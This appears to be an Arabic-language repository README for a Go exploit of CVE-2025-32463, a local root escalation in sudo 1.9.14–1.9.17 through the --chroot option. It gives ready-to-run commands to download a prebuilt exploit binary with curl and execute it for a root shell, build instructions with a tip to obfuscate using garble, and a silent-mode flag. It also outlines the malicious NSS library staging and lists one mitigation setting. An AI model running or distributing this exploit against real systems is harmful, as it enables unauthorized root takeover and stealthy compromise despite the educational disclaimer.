1xpwn/cve-2025-32463يعالج هذا CVE ثغرة أمنية في إصدارات sudo من 1.9.14 إلى 1.9.17، مما يتيح تصعيدًا محليًا غير مصرح به للامتيازات إلى وصول الجذر (root).
يوفر هذا المستودع أداة استغلال مكتوبة بلغة Go لثغرة CVE-2025-32463، وهي ثغرة حرجة لتصعيد الامتيازات محليًا (CVSS 9.3) في إصدارات sudo من 1.9.14 إلى 1.9.17. تتيح للمستخدمين المحليين غير المصرح لهم الحصول على وصول الجذر من خلال استغلال خلل في خيار --chroot (-R).
⚠️ تحذير: لأغراض تعليمية واختبارية فقط. استخدمها في بيئات معزولة (مثل الأجهزة الافتراضية). غير مخصصة للاستخدام الضار.
--chrootcurl -L https://github.com/1xPwn/CVE-2025-32463/releases/download/exploit/exploit -o exploit
chmod +x exploit
./exploit --execution # Launches root shell
git clone https://github.com/1xPwn/CVE-2025-32463.git
cd CVE-2025-32463
go build -o exploit # Or use garble for obfuscation
./exploit --execution
| الأمر | الوصف |
|---|---|
./exploit --help | عرض مساعدة الاستخدام |
./exploit --about | عرض تفاصيل CVE |
./exploit --execution | تشغيل الاستغلال (يفتح صدفة الجذر) |
./exploit --execution --silent | تنفيذ في الوضع الصامت |
التحقق: في صدفة الجذر، نفّذ id (يجب أن يظهر uid=0(root)) أو whoami (يجب أن يظهر root).
/tmp/sudowoot.stage.*woot1337.c) لصدفة الجذرlibnss_/woot1337.so.2)sudo -R woot woot لتحميل المكتبة وتصعيد الامتيازاتDefaults !use_chroot إلى /etc/sudoersهذه الأداة مخصصة للبحث الأمني. المؤلف غير مسؤول عن سوء الاستخدام. اختبر دائمًا بمسؤولية.
Built by MNM